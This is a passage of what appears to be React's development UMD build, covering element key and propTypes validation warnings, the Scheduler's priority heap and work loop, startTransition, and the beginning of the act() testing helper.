2078 var stack = describeUnknownElementTypeFrameInDEV(element.type, element._source, owner ? owner.type : null);
2079 setExtraStackFrame(stack);
2080 } else {
2081 setExtraStackFrame(null);
2082 }
2083 }
2084 }
2085
2086 var propTypesMisspellWarningShown;
2087
2088 {
2089 propTypesMisspellWarningShown = false;
2090 }
2091
2092 function getDeclarationErrorAddendum() {
2093 if (ReactCurrentOwner.current) {
2094 var name = getComponentNameFromType(ReactCurrentOwner.current.type);
2095
2096 if (name) {
2097 return '\n\nCheck the render method of `' + name + '`.';
2098 }
2099 }
2100
2101 return '';
2102 }
2103
2104 function getSourceInfoErrorAddendum(source) {
2105 if (source !== undefined) {
2106 var fileName = source.fileName.replace(/^.*[\\\/]/, '');
2107 var lineNumber = source.lineNumber;
2108 return '\n\nCheck your code at ' + fileName + ':' + lineNumber + '.';
2109 }
2110
2111 return '';
2112 }
2113
2114 function getSourceInfoErrorAddendumForProps(elementProps) {
2115 if (elementProps !== null && elementProps !== undefined) {
2116 return getSourceInfoErrorAddendum(elementProps.__source);
2117 }
2118
2119 return '';
2120 }
2121 /**
2122 * Warn if there's no key explicitly set on dynamic arrays of children or
2123 * object keys are not valid. This allows us to keep track of children between
2124 * updates.
2125 */
2126
2127
2128 var ownerHasKeyUseWarning = {};
2129
2130 function getCurrentComponentErrorInfo(parentType) {
2131 var info = getDeclarationErrorAddendum();
2132
2133 if (!info) {
2134 var parentName = typeof parentType === 'string' ? parentType : parentType.displayName || parentType.name;
2135
2136 if (parentName) {
2137 info = "\n\nCheck the top-level render call using <" + parentName + ">.";
2138 }
2139 }
2140
2141 return info;
2142 }
2143 /**
2144 * Warn if the element doesn't have an explicit key assigned to it.
2145 * This element is in an array. The array could grow and shrink or be
2146 * reordered. All children that haven't already been validated are required to
2147 * have a "key" property assigned to it. Error statuses are cached so a warning
2148 * will only be shown once.
2149 *
2150 * @internal
2151 * @param {ReactElement} element Element that requires a key.
2152 * @param {*} parentType element's parent's type.
2153 */
2154
2155
2156 function validateExplicitKey(element, parentType) {
2157 if (!element._store || element._store.validated || element.key != null) {
2158 return;
2159 }
2160
2161 element._store.validated = true;
2162 var currentComponentErrorInfo = getCurrentComponentErrorInfo(parentType);
2163
2164 if (ownerHasKeyUseWarning[currentComponentErrorInfo]) {
2165 return;
2166 }
2167
2168 ownerHasKeyUseWarning[currentComponentErrorInfo] = true; // Usually the current owner is the offender, but if it accepts children as a
2169 // property, it may be the creator of the child that's responsible for
2170 // assigning it a key.
2171
2172 var childOwner = '';
2173
2174 if (element && element._owner && element._owner !== ReactCurrentOwner.current) {
2175 // Give the component that originally created this child.
2176 childOwner = " It was passed a child from " + getComponentNameFromType(element._owner.type) + ".";
2177 }
2178
2179 {
2180 setCurrentlyValidatingElement$1(element);
2181
2182 error('Each child in a list should have a unique "key" prop.' + '%s%s See https://reactjs.org/link/warning-keys for more information.', currentComponentErrorInfo, childOwner);
2183
2184 setCurrentlyValidatingElement$1(null);
2185 }
2186 }
2187 /**
2188 * Ensure that every element either is passed in a static location, in an
2189 * array with an explicit keys property defined, or in an object literal
2190 * with valid key property.
2191 *
2192 * @internal
2193 * @param {ReactNode} node Statically passed child of any type.
2194 * @param {*} parentType node's parent's type.
2195 */
2196
2197
2198 function validateChildKeys(node, parentType) {
2199 if (typeof node !== 'object') {
2200 return;
2201 }
2202
2203 if (isArray(node)) {
2204 for (var i = 0; i < node.length; i++) {
2205 var child = node[i];
2206
2207 if (isValidElement(child)) {
2208 validateExplicitKey(child, parentType);
2209 }
2210 }
2211 } else if (isValidElement(node)) {
2212 // This element was passed in a valid location.
2213 if (node._store) {
2214 node._store.validated = true;
2215 }
2216 } else if (node) {
2217 var iteratorFn = getIteratorFn(node);
2218
2219 if (typeof iteratorFn === 'function') {
2220 // Entry iterators used to provide implicit keys,
2221 // but now we print a separate warning for them later.
2222 if (iteratorFn !== node.entries) {
2223 var iterator = iteratorFn.call(node);
2224 var step;
2225
2226 while (!(step = iterator.next()).done) {
2227 if (isValidElement(step.value)) {
2228 validateExplicitKey(step.value, parentType);
2229 }
2230 }
2231 }
2232 }
2233 }
2234 }
2235 /**
2236 * Given an element, validate that its props follow the propTypes definition,
2237 * provided by the type.
2238 *
2239 * @param {ReactElement} element
2240 */
2241
2242
2243 function validatePropTypes(element) {
2244 {
2245 var type = element.type;
2246
2247 if (type === null || type === undefined || typeof type === 'string') {
2248 return;
2249 }
2250
2251 var propTypes;
2252
2253 if (typeof type === 'function') {
2254 propTypes = type.propTypes;
2255 } else if (typeof type === 'object' && (type.$$typeof === REACT_FORWARD_REF_TYPE || // Note: Memo only checks outer props here.
2256 // Inner props are checked in the reconciler.
2257 type.$$typeof === REACT_MEMO_TYPE)) {
2258 propTypes = type.propTypes;
2259 } else {
2260 return;
2261 }
2262
2263 if (propTypes) {
2264 // Intentionally inside to avoid triggering lazy initializers:
2265 var name = getComponentNameFromType(type);
2266 checkPropTypes(propTypes, element.props, 'prop', name, element);
2267 } else if (type.PropTypes !== undefined && !propTypesMisspellWarningShown) {
2268 propTypesMisspellWarningShown = true; // Intentionally inside to avoid triggering lazy initializers:
2269
2270 var _name = getComponentNameFromType(type);
2271
2272 error('Component %s declared `PropTypes` instead of `propTypes`. Did you misspell the property assignment?', _name || 'Unknown');
2273 }
2274
2275 if (typeof type.getDefaultProps === 'function' && !type.getDefaultProps.isReactClassApproved) {
2276 error('getDefaultProps is only used on classic React.createClass ' + 'definitions. Use a static property named `defaultProps` instead.');
2277 }
2278 }
2279 }
2280 /**
2281 * Given a fragment, validate that it can only be provided with fragment props
2282 * @param {ReactElement} fragment
2283 */
2284
2285
2286 function validateFragmentProps(fragment) {
2287 {
2288 var keys = Object.keys(fragment.props);
2289
2290 for (var i = 0; i < keys.length; i++) {
2291 var key = keys[i];
2292
2293 if (key !== 'children' && key !== 'key') {
2294 setCurrentlyValidatingElement$1(fragment);
2295
2296 error('Invalid prop `%s` supplied to `React.Fragment`. ' + 'React.Fragment can only have `key` and `children` props.', key);
2297
2298 setCurrentlyValidatingElement$1(null);
2299 break;
2300 }
2301 }
2302
2303 if (fragment.ref !== null) {
2304 setCurrentlyValidatingElement$1(fragment);
2305
2306 error('Invalid attribute `ref` supplied to `React.Fragment`.');
2307
2308 setCurrentlyValidatingElement$1(null);
2309 }
2310 }
2311 }
2312 function createElementWithValidation(type, props, children) {
2313 var validType = isValidElementType(type); // We warn in this case but don't throw. We expect the element creation to
2314 // succeed and there will likely be errors in render.
2315
2316 if (!validType) {
2317 var info = '';
2318
2319 if (type === undefined || typeof type === 'object' && type !== null && Object.keys(type).length === 0) {
2320 info += ' You likely forgot to export your component from the file ' + "it's defined in, or you might have mixed up default and named imports.";
2321 }
2322
2323 var sourceInfo = getSourceInfoErrorAddendumForProps(props);
2324
2325 if (sourceInfo) {
2326 info += sourceInfo;
2327 } else {
2328 info += getDeclarationErrorAddendum();
2329 }
2330
2331 var typeString;
2332
2333 if (type === null) {
2334 typeString = 'null';
2335 } else if (isArray(type)) {
2336 typeString = 'array';
2337 } else if (type !== undefined && type.$$typeof === REACT_ELEMENT_TYPE) {
2338 typeString = "<" + (getComponentNameFromType(type.type) || 'Unknown') + " />";
2339 info = ' Did you accidentally export a JSX literal instead of a component?';
2340 } else {
2341 typeString = typeof type;
2342 }
2343
2344 {
2345 error('React.createElement: type is invalid -- expected a string (for ' + 'built-in components) or a class/function (for composite ' + 'components) but got: %s.%s', typeString, info);
2346 }
2347 }
2348
2349 var element = createElement.apply(this, arguments); // The result can be nullish if a mock or a custom function is used.
2350 // TODO: Drop this when these are no longer allowed as the type argument.
2351
2352 if (element == null) {
2353 return element;
2354 } // Skip key warning if the type isn't valid since our key validation logic
2355 // doesn't expect a non-string/function type and can throw confusing errors.
2356 // We don't want exception behavior to differ between dev and prod.
2357 // (Rendering will throw with a helpful message and as soon as the type is
2358 // fixed, the key warnings will appear.)
2359
2360
2361 if (validType) {
2362 for (var i = 2; i < arguments.length; i++) {
2363 validateChildKeys(arguments[i], type);
2364 }
2365 }
2366
2367 if (type === REACT_FRAGMENT_TYPE) {
2368 validateFragmentProps(element);
2369 } else {
2370 validatePropTypes(element);
2371 }
2372
2373 return element;
2374 }
2375 var didWarnAboutDeprecatedCreateFactory = false;
2376 function createFactoryWithValidation(type) {
2377 var validatedFactory = createElementWithValidation.bind(null, type);
2378 validatedFactory.type = type;
2379
2380 {
2381 if (!didWarnAboutDeprecatedCreateFactory) {
2382 didWarnAboutDeprecatedCreateFactory = true;
2383
2384 warn('React.createFactory() is deprecated and will be removed in ' + 'a future major release. Consider using JSX ' + 'or use React.createElement() directly instead.');
2385 } // Legacy hook: remove it
2386
2387
2388 Object.defineProperty(validatedFactory, 'type', {
2389 enumerable: false,
2390 get: function () {
2391 warn('Factory.type is deprecated. Access the class directly ' + 'before passing it to createFactory.');
2392
2393 Object.defineProperty(this, 'type', {
2394 value: type
2395 });
2396 return type;
2397 }
2398 });
2399 }
2400
2401 return validatedFactory;
2402 }
2403 function cloneElementWithValidation(element, props, children) {
2404 var newElement = cloneElement.apply(this, arguments);
2405
2406 for (var i = 2; i < arguments.length; i++) {
2407 validateChildKeys(arguments[i], newElement.type);
2408 }
2409
2410 validatePropTypes(newElement);
2411 return newElement;
2412 }
2413
2414 var enableSchedulerDebugging = false;
2415 var enableProfiling = false;
2416 var frameYieldMs = 5;
2417
2418 function push(heap, node) {
2419 var index = heap.length;
2420 heap.push(node);
2421 siftUp(heap, node, index);
2422 }
2423 function peek(heap) {
2424 return heap.length === 0 ? null : heap[0];
2425 }
2426 function pop(heap) {
2427 if (heap.length === 0) {
2428 return null;
2429 }
2430
2431 var first = heap[0];
2432 var last = heap.pop();
2433
2434 if (last !== first) {
2435 heap[0] = last;
2436 siftDown(heap, last, 0);
2437 }
2438
2439 return first;
2440 }
2441
2442 function siftUp(heap, node, i) {
2443 var index = i;
2444
2445 while (index > 0) {
2446 var parentIndex = index - 1 >>> 1;
2447 var parent = heap[parentIndex];
2448
2449 if (compare(parent, node) > 0) {
2450 // The parent is larger. Swap positions.
2451 heap[parentIndex] = node;
2452 heap[index] = parent;
2453 index = parentIndex;
2454 } else {
2455 // The parent is smaller. Exit.
2456 return;
2457 }
2458 }
2459 }
2460
2461 function siftDown(heap, node, i) {
2462 var index = i;
2463 var length = heap.length;
2464 var halfLength = length >>> 1;
2465
2466 while (index < halfLength) {
2467 var leftIndex = (index + 1) * 2 - 1;
2468 var left = heap[leftIndex];
2469 var rightIndex = leftIndex + 1;
2470 var right = heap[rightIndex]; // If the left or right node is smaller, swap with the smaller of those.
2471
2472 if (compare(left, node) < 0) {
2473 if (rightIndex < length && compare(right, left) < 0) {
2474 heap[index] = right;
2475 heap[rightIndex] = node;
2476 index = rightIndex;
2477 } else {
2478 heap[index] = left;
2479 heap[leftIndex] = node;
2480 index = leftIndex;
2481 }
2482 } else if (rightIndex < length && compare(right, node) < 0) {
2483 heap[index] = right;
2484 heap[rightIndex] = node;
2485 index = rightIndex;
2486 } else {
2487 // Neither child is smaller. Exit.
2488 return;
2489 }
2490 }
2491 }
2492
2493 function compare(a, b) {
2494 // Compare sort index first, then task id.
2495 var diff = a.sortIndex - b.sortIndex;
2496 return diff !== 0 ? diff : a.id - b.id;
2497 }
2498
2499 // TODO: Use symbols?
2500 var ImmediatePriority = 1;
2501 var UserBlockingPriority = 2;
2502 var NormalPriority = 3;
2503 var LowPriority = 4;
2504 var IdlePriority = 5;
2505
2506 function markTaskErrored(task, ms) {
2507 }
2508
2509 /* eslint-disable no-var */
2510 var getCurrentTime;
2511 var hasPerformanceNow = typeof performance === 'object' && typeof performance.now === 'function';
2512
2513 if (hasPerformanceNow) {
2514 var localPerformance = performance;
2515
2516 getCurrentTime = function () {
2517 return localPerformance.now();
2518 };
2519 } else {
2520 var localDate = Date;
2521 var initialTime = localDate.now();
2522
2523 getCurrentTime = function () {
2524 return localDate.now() - initialTime;
2525 };
2526 } // Max 31 bit integer. The max integer size in V8 for 32-bit systems.
2527 // Math.pow(2, 30) - 1
2528 // 0b111111111111111111111111111111
2529
2530
2531 var maxSigned31BitInt = 1073741823; // Times out immediately
2532
2533 var IMMEDIATE_PRIORITY_TIMEOUT = -1; // Eventually times out
2534
2535 var USER_BLOCKING_PRIORITY_TIMEOUT = 250;
2536 var NORMAL_PRIORITY_TIMEOUT = 5000;
2537 var LOW_PRIORITY_TIMEOUT = 10000; // Never times out
2538
2539 var IDLE_PRIORITY_TIMEOUT = maxSigned31BitInt; // Tasks are stored on a min heap
2540
2541 var taskQueue = [];
2542 var timerQueue = []; // Incrementing id counter. Used to maintain insertion order.
2543
2544 var taskIdCounter = 1; // Pausing the scheduler is useful for debugging.
2545 var currentTask = null;
2546 var currentPriorityLevel = NormalPriority; // This is set while performing work, to prevent re-entrance.
2547
2548 var isPerformingWork = false;
2549 var isHostCallbackScheduled = false;
2550 var isHostTimeoutScheduled = false; // Capture local references to native APIs, in case a polyfill overrides them.
2551
2552 var localSetTimeout = typeof setTimeout === 'function' ? setTimeout : null;
2553 var localClearTimeout = typeof clearTimeout === 'function' ? clearTimeout : null;
2554 var localSetImmediate = typeof setImmediate !== 'undefined' ? setImmediate : null; // IE and Node.js + jsdom
2555
2556 var isInputPending = typeof navigator !== 'undefined' && navigator.scheduling !== undefined && navigator.scheduling.isInputPending !== undefined ? navigator.scheduling.isInputPending.bind(navigator.scheduling) : null;
2557
2558 function advanceTimers(currentTime) {
2559 // Check for tasks that are no longer delayed and add them to the queue.
2560 var timer = peek(timerQueue);
2561
2562 while (timer !== null) {
2563 if (timer.callback === null) {
2564 // Timer was cancelled.
2565 pop(timerQueue);
2566 } else if (timer.startTime <= currentTime) {
2567 // Timer fired. Transfer to the task queue.
2568 pop(timerQueue);
2569 timer.sortIndex = timer.expirationTime;
2570 push(taskQueue, timer);
2571 } else {
2572 // Remaining timers are pending.
2573 return;
2574 }
2575
2576 timer = peek(timerQueue);
2577 }
2578 }
2579
2580 function handleTimeout(currentTime) {
2581 isHostTimeoutScheduled = false;
2582 advanceTimers(currentTime);
2583
2584 if (!isHostCallbackScheduled) {
2585 if (peek(taskQueue) !== null) {
2586 isHostCallbackScheduled = true;
2587 requestHostCallback(flushWork);
2588 } else {
2589 var firstTimer = peek(timerQueue);
2590
2591 if (firstTimer !== null) {
2592 requestHostTimeout(handleTimeout, firstTimer.startTime - currentTime);
2593 }
2594 }
2595 }
2596 }
2597
2598 function flushWork(hasTimeRemaining, initialTime) {
2599
2600
2601 isHostCallbackScheduled = false;
2602
2603 if (isHostTimeoutScheduled) {
2604 // We scheduled a timeout but it's no longer needed. Cancel it.
2605 isHostTimeoutScheduled = false;
2606 cancelHostTimeout();
2607 }
2608
2609 isPerformingWork = true;
2610 var previousPriorityLevel = currentPriorityLevel;
2611
2612 try {
2613 if (enableProfiling) {
2614 try {
2615 return workLoop(hasTimeRemaining, initialTime);
2616 } catch (error) {
2617 if (currentTask !== null) {
2618 var currentTime = getCurrentTime();
2619 markTaskErrored(currentTask, currentTime);
2620 currentTask.isQueued = false;
2621 }
2622
2623 throw error;
2624 }
2625 } else {
2626 // No catch in prod code path.
2627 return workLoop(hasTimeRemaining, initialTime);
2628 }
2629 } finally {
2630 currentTask = null;
2631 currentPriorityLevel = previousPriorityLevel;
2632 isPerformingWork = false;
2633 }
2634 }
2635
2636 function workLoop(hasTimeRemaining, initialTime) {
2637 var currentTime = initialTime;
2638 advanceTimers(currentTime);
2639 currentTask = peek(taskQueue);
2640
2641 while (currentTask !== null && !(enableSchedulerDebugging )) {
2642 if (currentTask.expirationTime > currentTime && (!hasTimeRemaining || shouldYieldToHost())) {
2643 // This currentTask hasn't expired, and we've reached the deadline.
2644 break;
2645 }
2646
2647 var callback = currentTask.callback;
2648
2649 if (typeof callback === 'function') {
2650 currentTask.callback = null;
2651 currentPriorityLevel = currentTask.priorityLevel;
2652 var didUserCallbackTimeout = currentTask.expirationTime <= currentTime;
2653
2654 var continuationCallback = callback(didUserCallbackTimeout);
2655 currentTime = getCurrentTime();
2656
2657 if (typeof continuationCallback === 'function') {
2658 currentTask.callback = continuationCallback;
2659 } else {
2660
2661 if (currentTask === peek(taskQueue)) {
2662 pop(taskQueue);
2663 }
2664 }
2665
2666 advanceTimers(currentTime);
2667 } else {
2668 pop(taskQueue);
2669 }
2670
2671 currentTask = peek(taskQueue);
2672 } // Return whether there's additional work
2673
2674
2675 if (currentTask !== null) {
2676 return true;
2677 } else {
2678 var firstTimer = peek(timerQueue);
2679
2680 if (firstTimer !== null) {
2681 requestHostTimeout(handleTimeout, firstTimer.startTime - currentTime);
2682 }
2683
2684 return false;
2685 }
2686 }
2687
2688 function unstable_runWithPriority(priorityLevel, eventHandler) {
2689 switch (priorityLevel) {
2690 case ImmediatePriority:
2691 case UserBlockingPriority:
2692 case NormalPriority:
2693 case LowPriority:
2694 case IdlePriority:
2695 break;
2696
2697 default:
2698 priorityLevel = NormalPriority;
2699 }
2700
2701 var previousPriorityLevel = currentPriorityLevel;
2702 currentPriorityLevel = priorityLevel;
2703
2704 try {
2705 return eventHandler();
2706 } finally {
2707 currentPriorityLevel = previousPriorityLevel;
2708 }
2709 }
2710
2711 function unstable_next(eventHandler) {
2712 var priorityLevel;
2713
2714 switch (currentPriorityLevel) {
2715 case ImmediatePriority:
2716 case UserBlockingPriority:
2717 case NormalPriority:
2718 // Shift down to normal priority
2719 priorityLevel = NormalPriority;
2720 break;
2721
2722 default:
2723 // Anything lower than normal priority should remain at the current level.
2724 priorityLevel = currentPriorityLevel;
2725 break;
2726 }
2727
2728 var previousPriorityLevel = currentPriorityLevel;
2729 currentPriorityLevel = priorityLevel;
2730
2731 try {
2732 return eventHandler();
2733 } finally {
2734 currentPriorityLevel = previousPriorityLevel;
2735 }
2736 }
2737
2738 function unstable_wrapCallback(callback) {
2739 var parentPriorityLevel = currentPriorityLevel;
2740 return function () {
2741 // This is a fork of runWithPriority, inlined for performance.
2742 var previousPriorityLevel = currentPriorityLevel;
2743 currentPriorityLevel = parentPriorityLevel;
2744
2745 try {
2746 return callback.apply(this, arguments);
2747 } finally {
2748 currentPriorityLevel = previousPriorityLevel;
2749 }
2750 };
2751 }
2752
2753 function unstable_scheduleCallback(priorityLevel, callback, options) {
2754 var currentTime = getCurrentTime();
2755 var startTime;
2756
2757 if (typeof options === 'object' && options !== null) {
2758 var delay = options.delay;
2759
2760 if (typeof delay === 'number' && delay > 0) {
2761 startTime = currentTime + delay;
2762 } else {
2763 startTime = currentTime;
2764 }
2765 } else {
2766 startTime = currentTime;
2767 }
2768
2769 var timeout;
2770
2771 switch (priorityLevel) {
2772 case ImmediatePriority:
2773 timeout = IMMEDIATE_PRIORITY_TIMEOUT;
2774 break;
2775
2776 case UserBlockingPriority:
2777 timeout = USER_BLOCKING_PRIORITY_TIMEOUT;
2778 break;
2779
2780 case IdlePriority:
2781 timeout = IDLE_PRIORITY_TIMEOUT;
2782 break;
2783
2784 case LowPriority:
2785 timeout = LOW_PRIORITY_TIMEOUT;
2786 break;
2787
2788 case NormalPriority:
2789 default:
2790 timeout = NORMAL_PRIORITY_TIMEOUT;
2791 break;
2792 }
2793
2794 var expirationTime = startTime + timeout;
2795 var newTask = {
2796 id: taskIdCounter++,
2797 callback: callback,
2798 priorityLevel: priorityLevel,
2799 startTime: startTime,
2800 expirationTime: expirationTime,
2801 sortIndex: -1
2802 };
2803
2804 if (startTime > currentTime) {
2805 // This is a delayed task.
2806 newTask.sortIndex = startTime;
2807 push(timerQueue, newTask);
2808
2809 if (peek(taskQueue) === null && newTask === peek(timerQueue)) {
2810 // All tasks are delayed, and this is the task with the earliest delay.
2811 if (isHostTimeoutScheduled) {
2812 // Cancel an existing timeout.
2813 cancelHostTimeout();
2814 } else {
2815 isHostTimeoutScheduled = true;
2816 } // Schedule a timeout.
2817
2818
2819 requestHostTimeout(handleTimeout, startTime - currentTime);
2820 }
2821 } else {
2822 newTask.sortIndex = expirationTime;
2823 push(taskQueue, newTask);
2824 // wait until the next time we yield.
2825
2826
2827 if (!isHostCallbackScheduled && !isPerformingWork) {
2828 isHostCallbackScheduled = true;
2829 requestHostCallback(flushWork);
2830 }
2831 }
2832
2833 return newTask;
2834 }
2835
2836 function unstable_pauseExecution() {
2837 }
2838
2839 function unstable_continueExecution() {
2840
2841 if (!isHostCallbackScheduled && !isPerformingWork) {
2842 isHostCallbackScheduled = true;
2843 requestHostCallback(flushWork);
2844 }
2845 }
2846
2847 function unstable_getFirstCallbackNode() {
2848 return peek(taskQueue);
2849 }
2850
2851 function unstable_cancelCallback(task) {
2852 // remove from the queue because you can't remove arbitrary nodes from an
2853 // array based heap, only the first one.)
2854
2855
2856 task.callback = null;
2857 }
2858
2859 function unstable_getCurrentPriorityLevel() {
2860 return currentPriorityLevel;
2861 }
2862
2863 var isMessageLoopRunning = false;
2864 var scheduledHostCallback = null;
2865 var taskTimeoutID = -1; // Scheduler periodically yields in case there is other work on the main
2866 // thread, like user events. By default, it yields multiple times per frame.
2867 // It does not attempt to align with frame boundaries, since most tasks don't
2868 // need to be frame aligned; for those that do, use requestAnimationFrame.
2869
2870 var frameInterval = frameYieldMs;
2871 var startTime = -1;
2872
2873 function shouldYieldToHost() {
2874 var timeElapsed = getCurrentTime() - startTime;
2875
2876 if (timeElapsed < frameInterval) {
2877 // The main thread has only been blocked for a really short amount of time;
2878 // smaller than a single frame. Don't yield yet.
2879 return false;
2880 } // The main thread has been blocked for a non-negligible amount of time. We
2881
2882
2883 return true;
2884 }
2885
2886 function requestPaint() {
2887
2888 }
2889
2890 function forceFrameRate(fps) {
2891 if (fps < 0 || fps > 125) {
2892 // Using console['error'] to evade Babel and ESLint
2893 console['error']('forceFrameRate takes a positive int between 0 and 125, ' + 'forcing frame rates higher than 125 fps is not supported');
2894 return;
2895 }
2896
2897 if (fps > 0) {
2898 frameInterval = Math.floor(1000 / fps);
2899 } else {
2900 // reset the framerate
2901 frameInterval = frameYieldMs;
2902 }
2903 }
2904
2905 var performWorkUntilDeadline = function () {
2906 if (scheduledHostCallback !== null) {
2907 var currentTime = getCurrentTime(); // Keep track of the start time so we can measure how long the main thread
2908 // has been blocked.
2909
2910 startTime = currentTime;
2911 var hasTimeRemaining = true; // If a scheduler task throws, exit the current browser task so the
2912 // error can be observed.
2913 //
2914 // Intentionally not using a try-catch, since that makes some debugging
2915 // techniques harder. Instead, if `scheduledHostCallback` errors, then
2916 // `hasMoreWork` will remain true, and we'll continue the work loop.
2917
2918 var hasMoreWork = true;
2919
2920 try {
2921 hasMoreWork = scheduledHostCallback(hasTimeRemaining, currentTime);
2922 } finally {
2923 if (hasMoreWork) {
2924 // If there's more work, schedule the next message event at the end
2925 // of the preceding one.
2926 schedulePerformWorkUntilDeadline();
2927 } else {
2928 isMessageLoopRunning = false;
2929 scheduledHostCallback = null;
2930 }
2931 }
2932 } else {
2933 isMessageLoopRunning = false;
2934 } // Yielding to the browser will give it a chance to paint, so we can
2935 };
2936
2937 var schedulePerformWorkUntilDeadline;
2938
2939 if (typeof localSetImmediate === 'function') {
2940 // Node.js and old IE.
2941 // There's a few reasons for why we prefer setImmediate.
2942 //
2943 // Unlike MessageChannel, it doesn't prevent a Node.js process from exiting.
2944 // (Even though this is a DOM fork of the Scheduler, you could get here
2945 // with a mix of Node.js 15+, which has a MessageChannel, and jsdom.)
2946 // https://github.com/facebook/react/issues/20756
2947 //
2948 // But also, it runs earlier which is the semantic we want.
2949 // If other browsers ever implement it, it's better to use it.
2950 // Although both of these would be inferior to native scheduling.
2951 schedulePerformWorkUntilDeadline = function () {
2952 localSetImmediate(performWorkUntilDeadline);
2953 };
2954 } else if (typeof MessageChannel !== 'undefined') {
2955 // DOM and Worker environments.
2956 // We prefer MessageChannel because of the 4ms setTimeout clamping.
2957 var channel = new MessageChannel();
2958 var port = channel.port2;
2959 channel.port1.onmessage = performWorkUntilDeadline;
2960
2961 schedulePerformWorkUntilDeadline = function () {
2962 port.postMessage(null);
2963 };
2964 } else {
2965 // We should only fallback here in non-browser environments.
2966 schedulePerformWorkUntilDeadline = function () {
2967 localSetTimeout(performWorkUntilDeadline, 0);
2968 };
2969 }
2970
2971 function requestHostCallback(callback) {
2972 scheduledHostCallback = callback;
2973
2974 if (!isMessageLoopRunning) {
2975 isMessageLoopRunning = true;
2976 schedulePerformWorkUntilDeadline();
2977 }
2978 }
2979
2980 function requestHostTimeout(callback, ms) {
2981 taskTimeoutID = localSetTimeout(function () {
2982 callback(getCurrentTime());
2983 }, ms);
2984 }
2985
2986 function cancelHostTimeout() {
2987 localClearTimeout(taskTimeoutID);
2988 taskTimeoutID = -1;
2989 }
2990
2991 var unstable_requestPaint = requestPaint;
2992 var unstable_Profiling = null;
2993
2994
2995
2996 var Scheduler = /*#__PURE__*/Object.freeze({
2997 __proto__: null,
2998 unstable_ImmediatePriority: ImmediatePriority,
2999 unstable_UserBlockingPriority: UserBlockingPriority,
3000 unstable_NormalPriority: NormalPriority,
3001 unstable_IdlePriority: IdlePriority,
3002 unstable_LowPriority: LowPriority,
3003 unstable_runWithPriority: unstable_runWithPriority,
3004 unstable_next: unstable_next,
3005 unstable_scheduleCallback: unstable_scheduleCallback,
3006 unstable_cancelCallback: unstable_cancelCallback,
3007 unstable_wrapCallback: unstable_wrapCallback,
3008 unstable_getCurrentPriorityLevel: unstable_getCurrentPriorityLevel,
3009 unstable_shouldYield: shouldYieldToHost,
3010 unstable_requestPaint: unstable_requestPaint,
3011 unstable_continueExecution: unstable_continueExecution,
3012 unstable_pauseExecution: unstable_pauseExecution,
3013 unstable_getFirstCallbackNode: unstable_getFirstCallbackNode,
3014 get unstable_now () { return getCurrentTime; },
3015 unstable_forceFrameRate: forceFrameRate,
3016 unstable_Profiling: unstable_Profiling
3017 });
3018
3019 var ReactSharedInternals$1 = {
3020 ReactCurrentDispatcher: ReactCurrentDispatcher,
3021 ReactCurrentOwner: ReactCurrentOwner,
3022 ReactCurrentBatchConfig: ReactCurrentBatchConfig,
3023 // Re-export the schedule API(s) for UMD bundles.
3024 // This avoids introducing a dependency on a new UMD global in a minor update,
3025 // Since that would be a breaking change (e.g. for all existing CodeSandboxes).
3026 // This re-export is only required for UMD bundles;
3027 // CJS bundles use the shared NPM package.
3028 Scheduler: Scheduler
3029 };
3030
3031 {
3032 ReactSharedInternals$1.ReactCurrentActQueue = ReactCurrentActQueue;
3033 ReactSharedInternals$1.ReactDebugCurrentFrame = ReactDebugCurrentFrame;
3034 }
3035
3036 function startTransition(scope, options) {
3037 var prevTransition = ReactCurrentBatchConfig.transition;
3038 ReactCurrentBatchConfig.transition = {};
3039 var currentTransition = ReactCurrentBatchConfig.transition;
3040
3041 {
3042 ReactCurrentBatchConfig.transition._updatedFibers = new Set();
3043 }
3044
3045 try {
3046 scope();
3047 } finally {
3048 ReactCurrentBatchConfig.transition = prevTransition;
3049
3050 {
3051 if (prevTransition === null && currentTransition._updatedFibers) {
3052 var updatedFibersCount = currentTransition._updatedFibers.size;
3053
3054 if (updatedFibersCount > 10) {
3055 warn('Detected a large number of updates inside startTransition. ' + 'If this is due to a subscription please re-write it to use React provided hooks. ' + 'Otherwise concurrent mode guarantees are off the table.');
3056 }
3057
3058 currentTransition._updatedFibers.clear();
3059 }
3060 }
3061 }
3062 }
3063
3064 var didWarnAboutMessageChannel = false;
3065 var enqueueTaskImpl = null;
3066 function enqueueTask(task) {
3067 if (enqueueTaskImpl === null) {
3068 try {
3069 // read require off the module object to get around the bundlers.
3070 // we don't want them to detect a require and bundle a Node polyfill.
3071 var requireString = ('require' + Math.random()).slice(0, 7);
3072 var nodeRequire = module && module[requireString]; // assuming we're in node, let's try to get node's
3073 // version of setImmediate, bypassing fake timers if any.
3074
3075 enqueueTaskImpl = nodeRequire.call(module, 'timers').setImmediate;
3076 } catch (_err) {
3077 // we're in a browser
3078 // we can't use regular timers because they may still be faked
3079 // so we try MessageChannel+postMessage instead
3080 enqueueTaskImpl = function (callback) {
3081 {
3082 if (didWarnAboutMessageChannel === false) {
3083 didWarnAboutMessageChannel = true;
3084
3085 if (typeof MessageChannel === 'undefined') {
3086 error('This browser does not have a MessageChannel implementation, ' + 'so enqueuing tasks via await act(async () => ...) will fail. ' + 'Please file an issue at https://github.com/facebook/react/issues ' + 'if you encounter this warning.');
3087 }
3088 }
3089 }
3090
3091 var channel = new MessageChannel();
3092 channel.port1.onmessage = callback;
3093 channel.port2.postMessage(undefined);
3094 };
3095 }
3096 }
3097
3098 return enqueueTaskImpl(task);
3099 }
3100
3101 var actScopeDepth = 0;
3102 var didWarnNoAwaitAct = false;
3103 function act(callback) {
3104 {
3105 // `act` calls can be nested, so we track the depth. This represents the
3106 // number of `act` scopes on the stack.
3107 var prevActScopeDepth = actScopeDepth;
3108 actScopeDepth++;
3109
3110 if (ReactCurrentActQueue.current === null) {
3111 // This is the outermost `act` scope. Initialize the queue. The reconciler
3112 // will detect the queue and use it instead of Scheduler.
3113 ReactCurrentActQueue.current = [];
3114 }
3115
3116 var prevIsBatchingLegacy = ReactCurrentActQueue.isBatchingLegacy;
3117 var result;
3118
3119 try {
3120 // Used to reproduce behavior of `batchedUpdates` in legacy mode. Only
3121 // set to `true` while the given callback is executed, not for updates
3122 // triggered during an async event, because this is how the legacy
3123 // implementation of `act` behaved.
3124 ReactCurrentActQueue.isBatchingLegacy = true;
3125 result = callback(); // Replicate behavior of original `act` implementation in legacy mode,
3126 // which flushed updates immediately after the scope function exits, even
3127 // if it's an async function.
3128
3129 if (!prevIsBatchingLegacy && ReactCurrentActQueue.didScheduleLegacyUpdate) {
3130 var queue = ReactCurrentActQueue.current;
3131
3132 if (queue !== null) {
3133 ReactCurrentActQueue.didScheduleLegacyUpdate = false;
